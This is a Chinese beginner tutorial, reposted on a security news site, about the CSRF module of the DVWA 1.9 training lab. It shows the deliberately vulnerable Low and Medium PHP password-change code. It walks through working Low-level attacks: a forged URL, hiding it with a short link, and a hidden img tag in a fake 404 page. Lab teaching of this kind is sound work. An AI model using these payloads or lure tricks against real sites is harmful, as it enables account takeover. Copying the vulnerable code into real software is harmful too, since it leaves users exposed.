安全路透社
当前位置:安全路透社 > 网络转载 > 正文

新手指南:DVWA-1.9全级别教程之CSRF

*本文原创作者:lonehand

目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,并且没有针对DVWA high级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正。

DVWA简介

DVWADamn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL InjectionSQL注入)、SQL InjectionBlind)(SQL盲注)、XSSReflected)(反射型跨站脚本)、XSSStored)(存储型跨站脚本)。

需要注意的是,DVWA 1.9的代码分为四种安全级别:LowMediumHighImpossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

1.png

DVWA的搭建

Freebuf上的这篇文章《新手指南:手把手教你如何搭建自己的渗透测试环境》(http://www.freebuf.com/sectool/102661.html)已经写得非常好了,在这里就不赘述了。

之前介绍了Brute Force模块(http://www.freebuf.com/articles/web/116437.html)、Command Injection模块(http://www.freebuf.com/articles/web/116714.html)的内容,本文介绍的是CSRF模块,后续教程会在之后的文章中给出。

CSRF(Cross-site request forgery)

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRFXSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8

1.png

下面对四种级别的代码进行分析。

Low

服务器端核心代码

<?php 

if( isset( $_GET'Change' ] ) ) { 
    // Get input 
    $pass_new  $_GET'password_new' ]; 
    $pass_conf $_GET'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new mysql_real_escape_string$pass_new ); 
        $pass_new md5$pass_new ); 

        // Update the database 
        $insert "UPDATE `users` SET password = '$pass_new' WHERE user = '" dvwaCurrentUser() . "';"; 
        $result mysql_query$insert ) or die( '<pre>' mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

?>

 可以看到,服务器收到修改密码的请求后,会检查参数password_newpassword_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。

漏洞利用

1、构造链接

A) 最基础的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)

1.png 

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

1.png

有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。

B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):

http://dwz.cn/****

1.png

因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。

1.png 

需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。

C) 构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack

1.png 

Medium

服务器端核心代码

<?php 

if( isset( $_GET'Change' ] ) ) { 
    // Checks to see where the request came from 
    if( eregi$_SERVER'SERVER_NAME' ], $_SERVER'HTTP_REFERER' ] ) ) { 
        // Get input 
        $pass_new  $_GET'password_new' ]; 
        $pass_conf $_GET'password_conf' ]; 

        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new mysql_real_escape_string$pass_new ); 
            $pass_new md5$pass_new ); 

            // Update the database 
            $insert "UPDATE `users` SET password = '$pass_new' WHERE user = '" dvwaCurrentUser() . "';"; 
            $result mysql_query$insert ) or die( '<pre>' mysql_error() . '</pre>' ); 

            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    } 
    else { 
        // Didn't come from a trusted source 
        echo "<pre>That request didn't look correct.</pre>"; 
    } 

    mysql_close(); 
} 

?> 

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册